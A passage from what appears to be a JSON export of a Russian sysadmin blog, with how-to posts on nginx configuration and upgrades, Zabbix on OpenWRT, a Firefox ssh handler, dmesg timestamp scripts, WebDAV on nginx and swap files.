запросы # с началом на /images/ сюда уже не попадут [ конфигурация E ] } Примеры запросов:\n/ конфигурация A /index.html конфигурация B /documents/document.html конфигурация C /images/1.gif конфигурация D /documents/1.jpg конфигурация E Ссылки:\nДокументация (рус) Документация (англ) ","permalink":"https://blog.xsk.in/it/obrabotka-regulyarok-v-nginx/597/","summary":"\u003cp\u003eДабы не возвращаться к вниканию в официальную документацию, закреплю основные моменты конфигурирования nginx.\u003cbr\u003e\nСинтаксис директивы location:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003elocation [ = | ~ | ~* | ^~ ] uri { ... }\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eПорядок проверки директив location:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e=\u003c/strong\u003e точное совпадение ссылки, поиск прекращается\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e^~\u003c/strong\u003e строки без регулярных выражений, поиск прекращается\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eпоиск подходящей регулярки, сначала на максимальное совпадение, затем по порядку в файле конфигурации (если 2 одинаковых, работает с верхним)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e~\u003c/strong\u003e совпадение с учетом регистра\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e~*\u003c/strong\u003e совпадение без учета регистра\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eесли подходит под регулярку - п3, иначе п2\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"Обработка регулярок в nginx"},{"content":"Установить непосредственно заббикс-агент с репозиториев OpenWRT:\nopkg update opkg install zabbix-agentd Создать пользователя и группу\necho \u0026#34;zabbix:*:42223:42223:zabbix:/var:/bin/false\u0026#34; \u0026gt;\u0026gt; /etc/passwd echo \u0026#34;zabbix:x:42223:\u0026#34; \u0026gt;\u0026gt; /etc/group Создать папку под pid-файл (с нужными правами)\nmkdir /var/tmp chown zabbix /var/tmp Сконфигурировать агента\nvi /etc/zabbix_agentd.conf Hostname=openwrt StartAgents=1 PidFile=/var/tmp/zabbix_agentd.pid LogFileSize=1 LogFile=/tmp/zabbix_agentd.log Server=1.2.3.4 ServerActive=1.2.3.4 Набор дополнительных пользовательских параметров, позволяющих отслеживать состояние WiFi соединения, можно взять в Gist.\nДобавить run-скрипт\nvi /etc/init.d/zabbix_agentd #!/bin/sh /etc/rc.common # Copyright (C) 2008-2011 OpenWrt.org START=60 SERVICE_PID_FILE=/var/run/zabbix/zabbix_agentd.pid start() { [ -f /etc/zabbix_agentd.conf ] || return 1 user_exists zabbix 53 || user_add zabbix 53 group_exists zabbix 53 || group_add zabbix 53 [ -d /var/log/zabbix ] || { mkdir -m0755 -p /var/log/zabbix chown zabbix:zabbix /var/log/zabbix } [ -d /var/run/zabbix ] || { mkdir -m0755 -p /var/run/zabbix chown zabbix:zabbix /var/run/zabbix } chgrp zabbix -R /sys/kernel/debug/ieee80211/ chmod g+r -R /sys/kernel/debug/ieee80211/ chgrp -R zabbix /var/state/ chmod g+r -R /var/state/ service_start /usr/sbin/zabbix_agentd } stop() { service_stop /usr/sbin/zabbix_agentd } chmod +x /etc/init.d/zabbix_agentd /etc/init.d/zabbix_agentd start Ссылки:\nHOWTO-configure_zabbix_agent_openwrt ","permalink":"https://blog.xsk.in/it/monitoring-openwrt-v-zabbix/590/","summary":"\u003cp\u003eУстановить непосредственно заббикс-агент с репозиториев OpenWRT:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eopkg update\nopkg install zabbix-agentd\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eСоздать пользователя и группу\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eecho \u0026#34;zabbix:*:42223:42223:zabbix:/var:/bin/false\u0026#34; \u0026gt;\u0026gt; /etc/passwd\necho \u0026#34;zabbix:x:42223:\u0026#34; \u0026gt;\u0026gt; /etc/group\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eСоздать папку под pid-файл (с нужными правами)\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003emkdir /var/tmp\nchown zabbix /var/tmp\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eСконфигурировать агента\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003evi /etc/zabbix_agentd.conf\n\nHostname=openwrt\nStartAgents=1\nPidFile=/var/tmp/zabbix_agentd.pid\nLogFileSize=1\nLogFile=/tmp/zabbix_agentd.log\nServer=1.2.3.4\nServerActive=1.2.3.4\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eНабор дополнительных пользовательских параметров, позволяющих отслеживать состояние WiFi соединения, можно взять в \u003ca href=\"https://gist.github.com/xandr0s/274ad3ae2c128a662395\" title=\"gist xandros zabbix_agentd.conf\"\u003eGist\u003c/a\u003e.\u003cbr\u003e\nДобавить run-скрипт\u003c/p\u003e","title":"Мониторинг OpenWRT в Zabbix"},{"content":"При нажатии в браузере Mozilla Firefox по ссылкам, начало которых отличается от стандартных (http://, https:// и тд) возникает ошибка \u0026ldquo;Неизвестный тип адреса: Firefox не может определить, как открыть данный адрес, так как протокол (ssh) не связан ни с одним приложением\u0026rdquo;\nОшибка возникает в случае, если в настройках (Правка - Настройки - Приложения) к указанному протоколу не привязано никаких программ.\nСоздать привязку можно через about:config, предварительно согласившись с предупреждением об опасности изменения настроек подобным образом. Рассмотрим более подробно процедуру на примере задания инструкций протоколу SSH.\nВ адресной строке перейти about:config Набрать в поиске \u0026ldquo;ssh\u0026rdquo; и убедиться, что ключ **network.protocol-handler.expose.**ssh отсутствует Щелкнув правой кнопкой мыши, создать логический ключ с таким названием Указать в следующем окне значение ключа false (это же можно сделать для уже существующих в реестре ключей двойным щелчком) Теперь перейти в браузере по ссылке ssh://somehost.domain Ответить в диалоговом окне, с помощью какого исполняемого файла необходимо продолжить работу со ссылкой данного вида Для приведенного в примере протокола SSH в ОС Linux Ubuntu требуется передача управления терминалу gnome-terminal (зависит от используемого графического обработчика), для этого создается скрипт, который преобразуем ссылку к нужному для утилиты ssh виду:\n#!/bin/bash gnome-terminal -e \u0026#34;ssh `echo $1 | sed -e \u0026#34;s/ssh:\\/\\///\u0026#34;`\u0026#34; Ссылки:\nFirefox не может определить ","permalink":"https://blog.xsk.in/it/neizvestny-j-tip-adresa-v-firefox/585/","summary":"\u003cp\u003eПри нажатии в браузере Mozilla Firefox по ссылкам, начало которых отличается от стандартных (http://, https:// и тд) возникает ошибка \u0026ldquo;Неизвестный тип адреса: Firefox не может определить, как открыть данный адрес, так как протокол (ssh) не связан ни с одним приложением\u0026rdquo;\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/05/unknown_address_type.png\"\u003e\u003cimg alt=\"unknown_address_type\" loading=\"lazy\" src=\"/wp-content/uploads/2014/05/unknown_address_type.png\"\u003e\u003c/a\u003eОшибка возникает в случае, если в настройках (\u003cem\u003eПравка - Настройки - Приложения\u003c/em\u003e) к указанному протоколу не привязано никаких программ.\u003c/p\u003e","title":"Неизвестный тип адреса в Firefox"},{"content":"DigitalOcean Indicator - программа для Linux Ubuntu или OSX, которая позволяет осуществлять быстрый доступ к дроплетам в браузере, просматривать статус и техническую информацию (установленная ОС, параметры облака) и производить перезагрузку/остановку машин прямо из меню графической панели апплетов.\nПод катом детали и купон на $10!\nДля подключения к аккаунту используется API. В настройках также можно включить автозагрузку программы и указать интервал обновления данных\nДанные для конфигурирования можно найти в панели DigitalOcean\nВерсия для Ubuntu доступна из подключаемого репозитория PPA\nsudo add-apt-repository ppa:andrewsomething/digitalocean sudo apt-get update sudo apt-get install digitalocean-indicator Версия под OSX находится в стадии разработки и пока доступна только архивом.\nОбе версии программы распространяются под лицензией GPL 3, исходные коды доступны в открытом репозитории:\nUbuntu OSX Свежий купон, дающий скидку в $10 на услуги DigitalOcean - DEPLOY2DO. Активировать купон в аккаунте можно только один раз на странице оплаты.\nДля тех, у кого еще нет аккаунта - ссылка на регистрацию, по которой можно сказать мне спасибо.\n","permalink":"https://blog.xsk.in/bez-rubriki/digitalocean-indikator-v-paneli-ubuntu-osx/574/","summary":"\u003cp\u003eDigitalOcean Indicator - программа для Linux Ubuntu или OSX, которая позволяет осуществлять быстрый доступ к дроплетам в браузере, просматривать статус и техническую информацию (установленная ОС, параметры облака) и производить перезагрузку/остановку машин прямо из меню графической панели апплетов.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/04/DO-indicator-ubuntu-e1398789438468.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2014/04/DO-indicator-ubuntu-e1398789438468-300x178.png\"\u003e\u003c/a\u003e \u003cimg alt=\"DO-indicator-osx\" loading=\"lazy\" src=\"/wp-content/uploads/2014/04/DO-indicator-osx-300x166.png\"\u003e\u003c/p\u003e\n\u003cp\u003eПод катом детали и \u003cstrong\u003eкупон на $10\u003c/strong\u003e!\u003c/p\u003e","title":"DigitalOcean индикатор в панели Ubuntu / OSX"},{"content":"Ноутбук Acer Travelmate P633-M относится к линейке бизнес-моделей компании. Он снабжен двумя дополнительными кнопками в секции клавиш управления курсором. Это клавиши Доллар (Dollar [$]) и Евро (Euro [€]).\nИспользование их в повседневной жизни маловероятно, поэтомуих можно заменить на другие более часто необходимые под рукой кнопки. Например, на PageUp и PageDown.\nДля этого в Linux достаточно добавить следующие строки в файл /etc/rc.local (выше строки exit 0):\nsetkeycodes 0xB3 104 setkeycodes 0xB4 109 Что это за магия? Утилита setkeycodes вносит изменения в таблицу кодов кнопок в драйвере клавиатуры, загруженном ядром. В качестве аргументов принимается hex-значение сканкода и dec-значение кейкода. Каждое нажатие и отпускание клавиши генерирует сканкод, поток которых анализируется драйвером клавиатуры и переводится в кейкоды, которые позволяют ядру понять, какие клавиши нажимались.\nГде эти коды взять?\nУвидеть сканкоды кнопок можно с помощью утилиты showkey с параметром -s. Это первый аргумент для команды setkeycodes.\nОбрабатываемые ядром кейкоды и их соответсвия клавишам клавиатуры находятся в секции \u0026ldquo;Keys and buttons\u0026rdquo; файла /usr/include/linux/input.h. Тут можно найти второй аргумент, которому будет соответствовать требуемое действие от нажатия.\nСсылки:\nUbuntu: Using the Euro and Dollar Special Keys ","permalink":"https://blog.xsk.in/it/perenaznachenie-neispol-zuemy-h-klavish/568/","summary":"\u003cp\u003eНоутбук Acer Travelmate P633-M относится к линейке бизнес-моделей компании. Он снабжен двумя дополнительными кнопками в секции клавиш управления курсором. Это клавиши Доллар (Dollar [$]) и Евро (Euro [€]).\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/04/keyboard.png\"\u003e\u003cimg alt=\"Клавиатура Acer Travelmate P633-M\" loading=\"lazy\" src=\"/wp-content/uploads/2014/04/keyboard-300x176.png\"\u003e\u003c/a\u003e\u003cbr\u003e\nИспользование их в повседневной жизни маловероятно, поэтомуих можно заменить на другие более часто необходимые под рукой кнопки. Например, на PageUp и PageDown.\u003c/p\u003e","title":"Переназначение неиспользуемых клавиш"},{"content":"После очередного обновления и перезапуска системы слетел русский язык. В настройках языка системы стоит русский, но все надписи в меню и названия программ на английском. Более того, в консоли русский текст отображается как вопросительные знаки, а текущая кодировка терминала определяется как ANSI_X3.4-1968. Попытки \u0026ldquo;починить\u0026rdquo; locale положительного эффекта не дали. Удаление и установка русского языка из панели параметров системы - тоже.\nДля возврата в систему русского языка можно попробовать вручную удалить пакеты локализации gnome, а затем установить из заново. Для этого:\nОткрываем терминал и пишем\nsudo apt-get remove language-pack-gnome-ru language-pack-ru language-pack-ru-base language-pack-gnome-ru-base firefox-locale-ru Перезагружаем машину\nПишем в терминале после перезагрузки\nsudo apt-get install language-pack-gnome-ru language-pack-ru language-pack-ru-base language-pack-gnome-ru-base firefox-locale-ru Снова перезагружаемся\nНе знаю причин, по которой проделанные выше инструкции в виде нажатий кнопок в \u0026ldquo;Параметры системы\u0026rdquo; - \u0026ldquo;Язык системы\u0026rdquo; не работают, но через консоль всё вернулось на место.\nСсылки:\nНе запускается update manager в 12.04 ","permalink":"https://blog.xsk.in/it/sletel-russkij-yazy-k-v-ubuntu-12-04/556/","summary":"\u003cp\u003eПосле очередного обновления и перезапуска системы слетел русский язык. В настройках языка системы стоит русский, но все надписи в меню и названия программ на английском. Более того, в консоли русский текст отображается как вопросительные знаки, а текущая кодировка терминала определяется как \u003cem\u003eANSI_X3.4-1968\u003c/em\u003e. Попытки \u0026ldquo;починить\u0026rdquo; locale положительного эффекта не дали. Удаление и установка русского языка из панели параметров системы - тоже.\u003c/p\u003e","title":"Слетел русский язык в Ubuntu 12.04"},{"content":"После ручной сборки nginx из исходных кодов выполнение перезапуска веб-сервера приведет к ошибке о занятом интерфейсе:\nnginx: [emerg] bind() to [::]:80 failed (98: Address already in use) Так происходит потому, что скрипт запуска (/etc/init.d/nginx) не обнаруживает в памяти запущенного рабочего процесса новой версии, а на старый не обращает внимания.\nМожно жестко завершить дерево старых процессов, а затем запустить новый, с помощью последовательного выполнения команд\nkill `pidof nginx` /etc/init.d/nginx restart Более правильным способом обновления версии запущенного веб-сервера является замена рабочих процессов на лету. Для этого:\nНаходим главный процесс с припиской в названии master:\nps axu|grep nginx Отправляем этому процессу сигнал USR2, который укажет master-процессу переименовать свой файл с номером процесса в файл с суффиксом .oldbin, например, /var/run/nginx.pid.oldbin, после чего запустит новый исполняемый файл, а тот в свою очередь — свои рабочие процессы:\nkill -USR2 21248 ps axu|grep nginx Теперь, если послать сигнал WINCH первому главному процессу, то он пошлёт своим рабочим процессам сообщение о плавном выходе, и они будут постепенно выходить.\nkill -WINCH 21248 В результате в системе останется запущено 2 главных процесса и новые принимающие соединения рабочие процессы. Старый master-процесс в случае успешной обновленной версии можно завершить:\nkill -QUIT 21248 Если новый исполняемый файл работает некорректно, можно вместо завершения работы старого третьим пунктом выполнить любой из следующих:\nПослать старому главному процессу сигнал HUP (по аналогии с предыдущими командами). Старый главный процесс, не перечитывая конфигурации, запустит новые рабочие процессы. После этого можно плавно завершить все новые процессы, послав новому главному процессу сигнал QUIT. Послать новому главному процессу сигнал TERM. В ответ на это он пошлёт сообщение о немедленном выходе своим рабочим процессам, и все они практически сразу же завершатся. (Если новые процессы по каким-то причинам не завершаются, нужно послать им сигнал KILL, который заставит их завершиться.) По завершению нового главного процесса старый главный процесс автоматически запустит новые рабочие процессы. Ссылки:\nУправление nginx ","permalink":"https://blog.xsk.in/it/plavnoe-obnovlenie-nginx/551/","summary":"\u003cp\u003eПосле ручной сборки nginx из исходных кодов выполнение перезапуска веб-сервера приведет к ошибке о занятом интерфейсе:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enginx: [emerg] bind() to [::]:80 failed (98: Address already in use)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eТак происходит потому, что скрипт запуска (/etc/init.d/nginx) не обнаруживает в памяти запущенного рабочего процесса новой версии, а на старый не обращает внимания.\u003c/p\u003e","title":"Плавное обновление nginx"},{"content":"8 апреля 2014 года прекращается поддержка и выпуск обновлений для Windows XP.\nНа компьютерах пользователей, где еще осталась эта операционная система, раз в месяц будет всплывать сообщение от центра обновления Windows\nПервый раз уведомление будет показано 8 марта 2014 г. в 15:00 по местному времени и после этого будет появляться каждый месяц.\nВместе с окончанием выпуска заплаток и обновлений под Windows XP с сайта Microsoft исчезнут инсталляторы Microsoft Security Essential под эту версию системы. Если программа Microsoft Security Essentials уже была установлена, обновления сигнатур антивредоносных программ некоторое время еще будут приходить.\nСкачать установочные пакеты можно по приведенным ниже ссылкам:\nEnglish version Русская версия Windows XP была выпущена 25 октября 2001 года\nСсылки:\nОканчивается поддержка для Windows XP ","permalink":"https://blog.xsk.in/it/okonchanie-podderzhki-windows-xp/531/","summary":"\u003cp\u003e8 апреля 2014 года прекращается поддержка и выпуск обновлений для Windows XP.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/04/XWZ93gZbkrU.jpg\"\u003e\u003cimg alt=\"windowsXPired\" loading=\"lazy\" src=\"/wp-content/uploads/2014/04/XWZ93gZbkrU.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eНа компьютерах пользователей, где еще осталась эта операционная система, раз в месяц будет всплывать сообщение от центра обновления Windows\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/04/EOS_prompt_ru-RU.png\"\u003e\u003cimg alt=\"EOS_prompt_ru-RU\" loading=\"lazy\" src=\"/wp-content/uploads/2014/04/EOS_prompt_ru-RU-300x137.png\"\u003e\u003c/a\u003e\u003cbr\u003e\nПервый раз уведомление будет показано 8 марта 2014 г. в 15:00 по местному времени и после этого будет появляться каждый месяц.\u003cbr\u003e\nВместе с окончанием выпуска заплаток и обновлений под Windows XP с сайта Microsoft исчезнут инсталляторы Microsoft Security Essential под эту версию системы. Если программа Microsoft Security Essentials уже была установлена, обновления сигнатур антивредоносных программ некоторое время еще будут приходить.\u003cbr\u003e\nСкачать установочные пакеты можно по приведенным ниже ссылкам:\u003c/p\u003e","title":"Окончание поддержки Windows XP"},{"content":"Если передать консольному загрузчику файлов wget ссылку с параметрами, имя загруженного файла будет содержать часть этих параметров. Например, команда\nwget http://downloads.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.2.2/zabbix-2.2.2.tar.gz?r=http%3A%2F%2Fwww.zabbix.com%2Fdownload.php\u0026amp;ts=1396461786\u0026amp;use_mirror=freefr приведет к тому, что в папке вместо архива с окончанием tar.gz будет лежать файл zabbix-2.2.2.tar.gz?r=http:%2F%2Fwww.zabbix.com%2Fdownload.php\nwget может попытаться получить правильное имя можно с помощью параметра \u0026ndash;content-disposition.\nПричина кроется в том, что по такой ссылке лежит не окончательный файл. Там находится скрипт, который с помощью mod_rewrite перенаправляет на разные файлы в зависимости от передаваемых параметров. Корректное имя файла при обращении к такой ссылке будет в содержаться в поле ответа браузера Content-Disposition. Именно на этот ответ wget обратит внимание при передаче ему соответствующей опции.\nЧтобы на постоянной основе включить данный параметр для всех будущих закачек, можно создать в домашней директории файл .wgetrc следующего содержания:\ncontent-disposition = on Ссылки:\nLOR: wget - имена закачиваемых файлов ","permalink":"https://blog.xsk.in/it/kak-sohranyat-korrektnoe-imya-pri-zagruzke-fajla-wget/527/","summary":"\u003cp\u003eЕсли передать консольному загрузчику файлов \u003cstrong\u003ewget\u003c/strong\u003e ссылку с параметрами, имя загруженного файла будет содержать часть этих параметров. Например, команда\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewget http://downloads.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.2.2/zabbix-2.2.2.tar.gz?r=http%3A%2F%2Fwww.zabbix.com%2Fdownload.php\u0026amp;ts=1396461786\u0026amp;use_mirror=freefr\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eприведет к тому, что в папке вместо архива с окончанием \u003cem\u003etar.gz\u003c/em\u003e будет лежать файл \u003cem\u003ezabbix-2.2.2.tar.gz?r=http:%2F%2Fwww.zabbix.com%2Fdownload.php\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003ewget\u003c/em\u003e может попытаться получить правильное имя можно с помощью параметра \u003cem\u003e\u003cstrong\u003e\u0026ndash;content-disposition\u003c/strong\u003e\u003c/em\u003e.\u003c/p\u003e","title":"Как сохранять корректное имя при загрузке файла wget"},{"content":"В dmesg содержатся сообщения ядра, позволяющие диагностировать ошибки в системе. По умолчанию вывод выглядит следующим образом:\n[ 0.217507] TCP established hash table entries: 65536 (order: 8, 1048576 bytes) [ 0.217762] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes) [ 0.217941] TCP: Hash tables configured (established 65536 bind 65536) [ 0.218034] TCP: reno registered [ 0.218112] UDP hash table entries: 4096 (order: 5, 131072 bytes) [ 0.218211] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes) [ 0.218344] NET: Registered protocol family 1 [4315224.110087] r8169 0000:04:00.0 eth0: link down [4315230.097079] r8169 0000:04:00.0 eth0: link up В начале каждой строки указано время, прошедшее с момента старта системы, до наступления события. Оценить продолжительность отсутствия линка на интерфейсе eth0 в примере выше - нетривиальная задача. Гораздо проще сделать это, переведя время в человеку понятный формат.\nВ Debian-like для этого достаточно вывести вместо dmesg содержимое /var/log/kern.log. В дистрибутивах на основе RedHat подобного лога нет, поэтому можно прибегнуть к использованию perl или python скриптов-интерпретаторов.\ndmesg.pl #!/usr/bin/perl use strict; use warnings; my @dmesg_new = (); my $dmesg = \u0026#34;/bin/dmesg\u0026#34;; my @dmesg_old = `$dmesg`; my $now = time(); my $uptime = `cat /proc/uptime | cut -d\u0026#34;.\u0026#34; -f1`; my $t_now = $now - $uptime; sub format_time { my @time = localtime $_[0]; $time[4]+=1; # Adjust Month $time[5]+=1900; # Adjust Year return sprintf \u0026#39;%4i-%02i-%02i %02i:%02i:%02i\u0026#39;, @time[reverse 0..5]; } foreach my $line ( @dmesg_old ) { chomp( $line ); if( $line =~ m/\\[\\s*(\\d+)\\.(\\d+)\\](.*)/i ) { # now - uptime + sekunden my $t_time = format_time( $t_now + $1 ); push( @dmesg_new , \u0026#34;[$t_time] $3\u0026#34; ); } } print join( \u0026#34;\\n\u0026#34;, @dmesg_new ); print \u0026#34;\\n\u0026#34;; dmesg.py #!/usr/bin/env python # coding=utf8 # Copyright (C) 2010 Saúl ibarra Corretgé \u0026lt;saghul@gmail.com\u0026gt; # \u0026#34;\u0026#34;\u0026#34; pydmesg: dmesg with human-readable timestamps \u0026#34;\u0026#34;\u0026#34; from __future__ import with_statement import re import subprocess import sys from datetime import datetime, timedelta _datetime_format = \u0026#34;%Y-%m-%d %H:%M:%S\u0026#34; _dmesg_line_regex = re.compile(\u0026#34;^\\[(?P\\d+\\.\\d+)\\](?P.*)$\u0026#34;) def exec_process(cmdline, silent, input=None, **kwargs): \u0026#34;\u0026#34;\u0026#34;Execute a subprocess and returns the returncode, stdout buffer and stderr buffer. Optionally prints stdout and stderr while running.\u0026#34;\u0026#34;\u0026#34; try: sub = subprocess.Popen(cmdline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, **kwargs) stdout, stderr = sub.communicate(input=input) returncode = sub.returncode if not silent: sys.stdout.write(stdout) sys.stderr.write(stderr) except OSError,e: if e.errno == 2: raise RuntimeError(\u0026#39;\u0026#34;%s\u0026#34; is not present on this system\u0026#39; % cmdline[0]) else: raise if returncode != 0: raise RuntimeError(\u0026#39;Got return value %d while executing \u0026#34;%s\u0026#34;, stderr output was:\\n%s\u0026#39; % (returncode, \u0026#34; \u0026#34;.join(cmdline), stderr.rstrip(\u0026#34;\\n\u0026#34;))) return stdout def human_dmesg(): now = datetime.now() uptime_diff = None try: with open(\u0026#39;/proc/uptime\u0026#39;) as f: uptime_diff = f.read().strip().split()[0] except IndexError: return else: try: uptime = now - timedelta(seconds=int(uptime_diff.split(\u0026#39;.\u0026#39;)[0]), microseconds=int(uptime_diff.split(\u0026#39;.\u0026#39;)[1])) except IndexError: return dmesg_data = exec_process([\u0026#39;dmesg\u0026#39;], True) for line in dmesg_data.split(\u0026#39;\\n\u0026#39;): if not line: continue match = _dmesg_line_regex.match(line) if match: try: seconds = int(match.groupdict().get(\u0026#39;time\u0026#39;, \u0026#39;\u0026#39;).split(\u0026#39;.\u0026#39;)[0]) nanoseconds = int(match.groupdict().get(\u0026#39;time\u0026#39;, \u0026#39;\u0026#39;).split(\u0026#39;.\u0026#39;)[1]) microseconds = int(round(nanoseconds * 0.001)) line = match.groupdict().get(\u0026#39;line\u0026#39;, \u0026#39;\u0026#39;) t = uptime + timedelta(seconds=seconds, microseconds=microseconds) except IndexError: pass else: print \u0026#34;[%s]%s\u0026#34; % (t.strftime(_datetime_format), line) if __name__ == \u0026#39;__main__\u0026#39;: human_dmesg() Необходимо сохранить этот текст с помощью любого текстового редактора в систему, сделать скрипт исполняемым с помощью команды chmod +x ИмяФайла и запустить его.\nЕсть альтернативный вариант, который не всегда работает, но требует меньше времени на реализацию - выполнить следующий однострочный скрипт:\ndmesg|perl -pE \u0026#39;/\\[\\s*(\\d+\\.\\d+)\\]/; $t=scalar localtime time-$1/100; s/\\[\\s*(\\d+\\.\\d+)\\]/[$t]/;\u0026#39; Ссылки:\ndmesg — вывод времени события dmesg: вывод времени событий в читаемом виде ","permalink":"https://blog.xsk.in/it/vy-vod-vremeni-soby-tiya-v-dmesg/523/","summary":"\u003cp\u003eВ dmesg содержатся сообщения ядра, позволяющие диагностировать ошибки в системе. По умолчанию вывод выглядит следующим образом:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[ 0.217507] TCP established hash table entries: 65536 (order: 8, 1048576 bytes)\n[ 0.217762] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)\n[ 0.217941] TCP: Hash tables configured (established 65536 bind 65536)\n[ 0.218034] TCP: reno registered\n[ 0.218112] UDP hash table entries: 4096 (order: 5, 131072 bytes)\n[ 0.218211] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes)\n[ 0.218344] NET: Registered protocol family 1\n[4315224.110087] r8169 0000:04:00.0 eth0: link down\n[4315230.097079] r8169 0000:04:00.0 eth0: link up\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eВ начале каждой строки указано время, прошедшее с момента старта системы, до наступления события. Оценить продолжительность отсутствия линка на интерфейсе eth0 в примере выше - нетривиальная задача. Гораздо проще сделать это, переведя время в человеку понятный формат.\u003c/p\u003e","title":"Вывод времени события в dmesg"},{"content":"В предыдущей статье, посвященной данной теме, было описано, как завести у себя небольшой WebDAV сервер на Apache. Набирающий популярность веб-сервер nginx также также подходит для этих задач. Его модуль ngx_http_dav_module поддерживает основные WebDAV-методы PUT, DELETE, MKCOL, COPY и MOVE, а с помощью дополнения nginx-dav-ext-module можно включить поддержку остальных (PROPFIND и OPTIONS).\nДля начала необходимо скачать исходные пакеты nginx с официального сайта. Если требуется дополнительный функционал, стягиваем репозиторий\nВо время сборки nginx указываем путь до дополнительного модуля с помощью опции --add-module=/путь/до/папки, а также включаем в параметры опцию --with-http_dav_module\nПосле успешной установки веб-сервера переходим к настройке. Выбираем директорию, которую хотим выделить под управление по сети. Проверяем доступность для пользователя, под которым работает nginx (см. его настройки)\nСоздаем пару логин+пароль для авторизации на нашем сервере. Авторизация по протоколу HTTP Basic Authentication в nginx предоставляется с помощью модуля ngx_http_auth_basic_module, который включен по умолчанию. Генерируем хэш пароля с помощью утилиты из набора apache-utils htpasswd или любым онлайн генератором файлов .htpasswd.\nВ файле конфигураций nginx создаем location, в котором будет содержаться описание работы с этой директорией. О доступных в рамках этого модуля директивах можно найти информацию в официальной документации. Пример настройки:\nlocation / { #указываем нужные методы dav_methods PUT DELETE MKCOL COPY MOVE; #работает,только если включали дополнительный модуль dav_ext_methods PROPFIND OPTIONS; #создавать промежуточные каталоги в методе PUT create_full_put_path on; #права доступа для создаваемых объектов dav_access group:rw all:r; #добавляем авторизацию auth_basic \u0026#34;Please login for access\u0026#34;; #путь до файла с хэшем пароля auth_basic_user_file /mnt/disk/.passwd.dav; #разрешаем просмотр директории autoindex on; #отключаем ограничение по размеру на загрузку файлов client_max_body_size 0; #путь до корня выделенной под WebDAV директории root /mnt/disk; } Перезапустив nginx проверяем доступность каталога по сети с помощью браузера или любого удобного WebDAV-клиента\nNote: Есть 2 версии nginx-dav-ext-module. При работе с модулем из первого репозитория была выявлена проблема: Nautilus некорректно отображает кириллические имена файлов (преобразует их в urlencode, в результате чего вместо \u0026ldquo;Фильмы\u0026rdquo; папка называется \u0026ldquo;%d0%a4%d0%b8%d0%bb%d1%8c%d0%bc%d1%8b\u0026rdquo;). Позже был найден форк репозитория с фиксом этой проблемы. В статье указан последний репозиторий.\n","permalink":"https://blog.xsk.in/it/svoj-webdav-server-na-nginx/495/","summary":"\u003cp\u003eВ \u003ca href=\"/it/sozdanie-sobstvennogo-webdav-servera/435/\" title=\"Создание собственного WebDAV-сервера\"\u003eпредыдущей статье\u003c/a\u003e, посвященной данной теме, было описано, как завести у себя небольшой WebDAV сервер на Apache. Набирающий популярность веб-сервер nginx также также подходит для этих задач. Его модуль \u003cem\u003engx_http_dav_module\u003c/em\u003e поддерживает основные WebDAV-методы PUT, DELETE, MKCOL, COPY и MOVE, а с помощью дополнения \u003cem\u003enginx-dav-ext-module\u003c/em\u003e можно включить поддержку остальных (PROPFIND и OPTIONS).\u003c/p\u003e","title":"Свой WebDAV сервер на nginx"},{"content":"При работе с оперативной памятью Linux делит всё доступное пространство на куски, называемые страницами. Чтобы разгрузить занятое пространство при переполнении физической памяти, используется технология виртуальной памяти или swap, которая заключается в вынесению наименее нужных в данный момент для работы страниц на дисковое пространство в специальный раздел или файл на диске. Таким образом, использование swap позволяет использовать в системе больше оперативной памяти, чем доступно физически.\nТем не менее, такой подход имеет недостаток: жесткие диски гораздо медленнее, чем оперативная память, поэтому производительность компьютера заметно ухудшается при выходе за пределы доступной физической памяти.\nКак узнать текущий размер swap Команда swapon -s показывает, имеются ли в системе файлы/разделы подкачки и какой они составляют размер.\nКак создать swap На уже установленной системе (особенно в случае с VPS) проще всего создать файл подкачки, нежели производить манипуляции с выделением свободного места на диске под отдельный раздел. Создаем swap-файл в удобном для нас месте (например прям в корне системы):\nsudo dd if=/dev/zero of=/swapfile bs=1024 count=1024k sudo mkswap /swapfile sudo swapon /swapfile После чего можно проверить, что система распознала новый файл, с помощью команды из первого раздела, либо с помощью проверки свободной памяти в системе 